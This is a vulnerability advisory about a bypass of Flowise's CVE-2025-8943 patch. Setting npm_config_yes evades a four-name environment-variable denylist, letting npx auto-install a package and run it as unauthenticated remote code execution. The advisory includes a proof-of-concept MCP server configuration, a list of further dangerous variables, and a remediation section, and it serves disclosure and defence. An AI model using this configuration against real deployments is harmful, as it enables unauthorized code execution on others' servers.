Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)

Summary

The mitigation shipped for CVE-2025-8943 blocks the -y and --yes flags on npx to stop auto-installation of arbitrary packages. That flag filter works. The environment-variable check in the same patch denies only four variable names by exact string match, and npm reads its configuration directly from npm_config_* environment variables. Setting npm_config_yes=true reproduces the --yes behaviour the flag filter is meant to prevent, so npx auto-installs and executes the named package. The mitigation is fully bypassed.

This works with the MCP security check enabled (CUSTOM_MCP_SECURITY_CHECK=true). On a default Flowise deployment, which ships with no authentication, the result is unauthenticated remote code execution.

Root cause

The patch treats this as a flag-filtering problem, but the behaviour gated by --yes is also reachable through npm's environment-based configuration. The same is true for the other permitted interpreters, node and python3. A denylist of variable names cannot enumerate every environment variable that alters execution, so the control is incomplete by construction. The fix is to allowlist (or strip) the environment before it reaches the child process, not to extend the denylist.

Affected version

Flowise 3.1.1, current as of 2026-03-29.

Details

Validation happens in packages/components/nodes/tools/MCP/core.ts. Two functions run in sequence before any MCP server launches: validateCommandFlags and validateEnvironmentVariables.

validateCommandFlags is thorough. It blocks -y and --yes along with a comprehensive set of dangerous flags across npx, node, python, python3, and docker. That part of the patch is sound.

The gap is in validateEnvironmentVariables:

export const validateEnvironmentVariables = (env: Record<string, any>): void => {
    const dangerousEnvVars = ['PATH', 'LD_LIBRARY_PATH', 'DYLD_LIBRARY_PATH', 'NODE_OPTIONS']
    for (const [key, value] of Object.entries(env)) {
        if (dangerousEnvVars.includes(key)) {
            throw new Error(`Environment variable '${key}' modification is not allowed`)
        }
        if (typeof value === 'string' && value.includes('\0')) {
            throw new Error(`Environment variable '${key}' contains null byte`)
        }
    }
}

The blocklist is a hardcoded four-item array checked by exact match. Any variable not in that list passes through unchecked. npm_config_yes is npm's documented mechanism for setting the yes config via the environment. Set to true, it causes npx to auto-install without prompting, which is exactly what the -y and --yes flag blocks are intended to prevent.

Proof of concept

The following MCP server configuration bypasses the patch with CUSTOM_MCP_SECURITY_CHECK=true:

{
  "mcpServers": {
    "bypass": {
      "command": "npx",
      "args": ["malicious-package"],
      "env": {
        "npm_config_yes": "true"
      }
    }
  }
}

Execution path:

1. validateCommandFlags passes, because args contains no blocked flags.
2. validateEnvironmentVariables passes, because npm_config_yes is not in the four-item blocklist.
3. npx auto-installs and executes the named package with the privileges of the Flowise process.

On a default deployment with no authentication, any unauthenticated user who can reach the Flowise API can trigger this.

Additional bypass vectors (same root cause)

The following variables are also absent from the blocklist and influence execution through the other permitted interpreters:

Impact

Full remote code execution with the privileges of the Flowise process. On default deployments with no authentication, no credentials are required.

Remediation

Strip the env object before passing it to the child process, or replace the name blocklist with an allowlist of explicitly permitted variables.

Adding the known dangerous variables to the blocklist (npm_config_yes, npm_config_prefix, npm_config_userconfig, NODE_PATH, PYTHONPATH, PYTHONSTARTUP) narrows the immediate gap but is a stopgap. Any future permitted interpreter reintroduces the same class of bypass.

References

• CVE-2025-8943
• CWE-184: Incomplete List of Disallowed Inputs